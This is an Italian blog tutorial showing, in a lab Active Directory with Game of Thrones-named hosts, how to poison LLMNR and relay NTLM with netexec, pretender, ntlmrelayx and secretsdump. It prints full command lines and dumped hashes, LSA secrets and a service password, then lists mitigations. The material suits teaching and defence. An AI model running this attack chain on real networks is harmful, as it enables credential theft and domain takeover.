
LLMNR Poisoning & Relay
1. Cos'è LLMNR?
LLMNR (Link-Local Multicast Name Resolution) è un protocollo che effettua la risoluzione dei nomi per gli host nella stessa Local Area Network senza l'ausilio di un server DNS in ambiente Windows/Active Directory. E' il successore di NetBIOS (Network Basic Input/Output System).
LLMNR viene utilizzato quando una query DNS fallisce. L'host, non ricevendo un indirizzo dal DNS, effettua una richiesta in broadcast chiedendo agli altri host nella LAN se conoscono l'indirizzo del servizio.
L'attaccante, in ascolto, riceve la richiesta LLMNR della vittima e risponde affermando di conoscere il servizio, si offre di stabilire una connessione e chiede l'hash NTLM per l'autenticazione.
2. Conseguenze e scenari
Oltre all'hash che può essere crackato, la vera minaccia è la posizione Man in the Middle in cui si trova l'attaccante che può essere sfruttata per sferrare attacchi relay su altre risorse in rete.
E' anche possibile mantenere attive le connessioni creando un proxy che verrà poi utilizzato dall'attaccante per impersonare le vittime.
L'attacco apre enormi possibilità di movimento laterale e, qualora riguardasse un Amministratore di Dominio, una rapida e completa compromissione del Regno.
Questo scenario si può verificare comunemente in 3 casi:
- La vittima scrive il nome errato di un servizio al quale connettersi, ad esempio \\nome_servizo
- La vittima ha in memoria un servizio decommissionato al quale tenta di accedere automaticamente, \\vecchio_nas
- L'attaccante induce la vittima tramite ingegneria sociale o una tecnica di coerce ad effettuare una richiesta LLMNR
3. Attacco nella pratica
Con
netexec
, successore di crackmapexec
, enumeriamo la subnet e generiamo una lista di host che non utilizzano SMB Signing.
In caso sia attivo non sarà possibile effettuare attacchi relay ma "solamente" catturare gli hash.
netexec 192.168.56.0/24 --gen-relay-list targets.txt
SMB 192.168.56.12 445 MEEREEN [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
SMB 192.168.56.10 445 KINGSLANDING [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.11 445 WINTERFELL [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
SMB 192.168.56.23 445 BRAAVOS [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
SMB 192.168.56.22 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
Possiamo osservare che BRAAVOS e CASTELBLACK sono vulnerabili al relay (signing:False).
Lanciamo
ntlmrelayx
per ripetere le connessioni ricevute sui target identificati.
Specifichiamo il target file -tf precedentemente generato, l'output file -of per salvare gli hash NTLM catturati e -socks per il proxy che useremo in seguito.
# ntlmrelayx -tf targets.txt -of l00t -smb2support -socks
Con il relay in ascolto, il prossimo step è indurre un host a connettersi a noi per ottenere una posizione Man in the Middle e passare la palla a
ntlmrelayx
Utilizzo
pretender
, un'alternativa a responder
che preferisco. E' sufficiente specificare l'interfaccia sulla quale mettersi in ascolto: per LLMNR e NetBIOS penserà a tutto pretender.
Lanciamo
pretender
in un secondo terminale per osservarne meglio il comportamento.
# pretender -i vboxnet0
...SNIP...
14:24:32 [LLMNR] listening via UDP on [ff02::1:3%vboxnet0]:5355
14:24:32 [LLMNR] listening via UDP on 224.0.0.252:5355
Tornando su
ntlmrelayx
, con un po' di pazienza, potremo osservare il relay delle connessioni. In questo caso eddard.stark si autentica attraverso NTLM, la connessione viene reindirizzata sui target identificati (smb://192.168.56.22 e 23) con successo e la sessione viene aggiunta al proxy.
Con il comando
socks
saremo in grado di vedere le sessioni disponibili.
[*] Received connection from NORTH/eddard.stark at WINTERFELL, connection will be relayed after re-authentication
[*] SMBD-Thread-11 (process_request_thread): Connection from NORTH/EDDARD.STARK@192.168.56.11 controlled, attacking target smb://192.168.56.23
[*] Authenticating against smb://192.168.56.23 as NORTH/EDDARD.STARK SUCCEED
[*] SOCKS: Adding NORTH/EDDARD.STARK@192.168.56.23(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-11 (process_request_thread): Connection from NORTH/EDDARD.STARK@192.168.56.11 controlled, attacking target smb://192.168.56.22
[*] Authenticating against smb://192.168.56.22 as NORTH/EDDARD.STARK SUCCEED
[*] All targets processed!
socks
Protocol Target Username AdminStatus Port
-------- ------------- ------------------ ----------- ----
SMB 192.168.56.23 NORTH/EDDARD.STARK FALSE 445
SMB 192.168.56.22 NORTH/EDDARD.STARK TRUE 445
Bingo! eddard.stark è amministratore di 192.168.56.22 (ADCS) e possiamo impersonarlo a nostro piacimento!
Utilizzando
proxychains
attraverso il proxy di ntlmrelayx
lanciamo secretsdump
sulla macchina bersaglio. Specifichiamo -no-pass perché, appunto, non è necessaria alcuna autenticazione avendo la sessione attiva di Eddard.
# proxychains secretsdump -no-pass 'NORTH'/'EDDARD.STARK'@'192.168.56.22'
...SNIP...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.56.22:445 ... OK
Impacket v0.13.0.dev0+20240918.213844.ac790f2b - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe52565ca46fe7f8640e48bc9ab3f4da8
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2024-11-05 13:08:16)
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2024-11-05 13:09:01)
NORTH.SEVENKINGDOMS.LOCAL/catelyn.stark:$DCC2$10240#catelyn.stark#ad0abcba45f31bde9d67ce96e932ccf3: (2024-05-22 12:03:17) <- Domain Admin
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:ee7d44736cc5077871aba997ad00574391896fce4563c8a763289b83618c65d8
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:cbe429524a256ff3960a52a3bd84e8e7
NORTH\CASTELBLACK$:des-cbc-md5:1661fe768cbcad15
NORTH\CASTELBLACK$:plain_password_hex:caddb3294ee10794b43c76d55a62237167651628dc3c6e302548d5c5d66e6ccd0229857ffb3133d061b6c90e5b8b91d6ee843fb6166d30e53039ea89e9b6a2b63aca3d193de3976fd7075685e3d2e75b15226941903e7145a5e0be3b015b6127a4747c39b09a8266c7ac12ccb3052dcda41db109d237c174b2647bf83d8f531d4390a8fb0a96cffcb2270caaa26f74657b49724743f7f8a1932c9f3f21a0034a94a103eb64802e30fde8ad82ea031a7e72089dd107c187d1c1fb44cdd59c54c03a5d72e6513149ed010c3125af76358c54005fe6ac165d303e0a0a2831f2fe1fed752a366b8e5b39fba08c5ffa704648
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:503c53646afc65e4f93e7d6be14489df:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x41196ea473b1ae7a7a7f59c1aa701867351f67ba
dpapi_userkey:0xe870de1a6f1e651bae3fb8a4c86d61650b972ac7
[*] NL$KM
0000 22 34 01 76 01 70 30 93 88 A7 6B B2 87 43 59 69 "4.v.p0...k..CYi
0010 0E 41 BD 22 0A 0C CC 23 3A 5B B6 74 CB 90 D6 35 .A."...#:[.t...5
0020 14 CA D8 45 4A F0 DB 72 D5 CF 3B A1 ED 7F 3A 98 ...EJ..r..;...:.
0030 CD 4D D6 36 6A 35 24 2D A0 EB 0F 8E 3F 52 81 C9 .M.6j5$-....?R..
NL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Ed è Game over
secretsdump
è solo una delle armi a nostra disposizione, lsassy, DonPAPI, smbclient, smbexec, atexec, addcomputer
sono solo alcuni dei tool di Impacket che possiamo sfruttare.
Sulla tab di
ntlmrelayx
possiamo osservare che il comando è passato attraverso la sessione di Eddard.
ntlmrelayx> [*] SOCKS: Proxying client session for NORTH/EDDARD.STARK@192.168.56.22(445)
Avevamo specificato -of l00t su
ntlmrelayx
, diamo un'occhiata a cosa c'è all'interno.
eddard.stark::NORTH:4141414141414141:0f45fae83affe52dc227053b8ff85556:010100000000000080120c38862fdb01342276a7a607218500000000010016007300650072007600650072005f006e0061006d006500030016007300650072007600650072005f006e0061006d0065000200120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000700080080120c38862fdb010600040002000000080030003000000000000000000000000030000034c5b161690af5817ad3045dab561c722f808e6470137eba2df81c5aaa44a5ae0a001000000000000000000000000000000000000900140063006900660073002f004d006500720065006e000000000000000000
robb.stark::NORTH:4141414141414141:059609d6e80b360f295745bb8cfb7c55:0101000000000000803f3d39862fdb018414b4fb068091d700000000010016007300650072007600650072005f006e0061006d006500030016007300650072007600650072005f006e0061006d0065000200120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f005500500007000800803f3d39862fdb010600040002000000080030003000000000000000000000000030000034c5b161690af5817ad3045dab561c722f808e6470137eba2df81c5aaa44a5ae0a001000000000000000000000000000000000000900160063006900660073002f0042007200610076006f0073000000000000000000
L'hash NTLMv2 di Eddard e di Robb Stark.
4. Mitigazione
La principale e preferita difesa dagli attacchi Poison & Relay consiste semplicemente nel disabilitare i protocolli LLMNR e NBS-NT sui singoli host, attraverso GPO in AD o a livello di rete attraverso relative regole del Firewall
Alternativamente, qual'ora l'uso sia imprescindibile si raccomanda di:
- Utilizzare password particolarmente solide per contrastare il cracking dell'hash NTLMv2 che, fortunatamente, non può essere utilizzato in attacchi PTH (Pass The Hash)
- Utilizzare ADCS per certificare l'identità degli host.
- Implementare un NAC (Network Access Control) per restringere l'accesso alla rete.
- Segmentare la rete attraverso VLAN per limitare la superficie d'attacco e le opzioni di relay.
- Mantenere diligentemente l'igiene informatico eliminando i servizi decommissionati dagli host
5. Conclusioni
Gli attacchi man in the middle come LLMNR/NBS-NT, ARP e DHCP poisoning e MitM6 restano prominenti in ambiente Windows/AD e costituiscono una grave minaccia.
Sebbene siamo facilmente prevenibili con le adeguate configurazioni, essi richiedono anzitutto la conoscenza della loro esistenza.
È facile pensare che un sistema con la configurazione base sia sicuro, in realtà in molti casi, come in questo, così non è.
Non è sufficiente fare affidamento su sistemi difensivi come Antivirus/EDR, Patch e Vulnerability Management perché questo tipo di attacco non sfrutta vulnerabilità del software ma abusi di funzioni e servizi perfettamente legittimi e difficilmente distinguibili dal normale uso.
Data di pubblicazione: 03-11-2024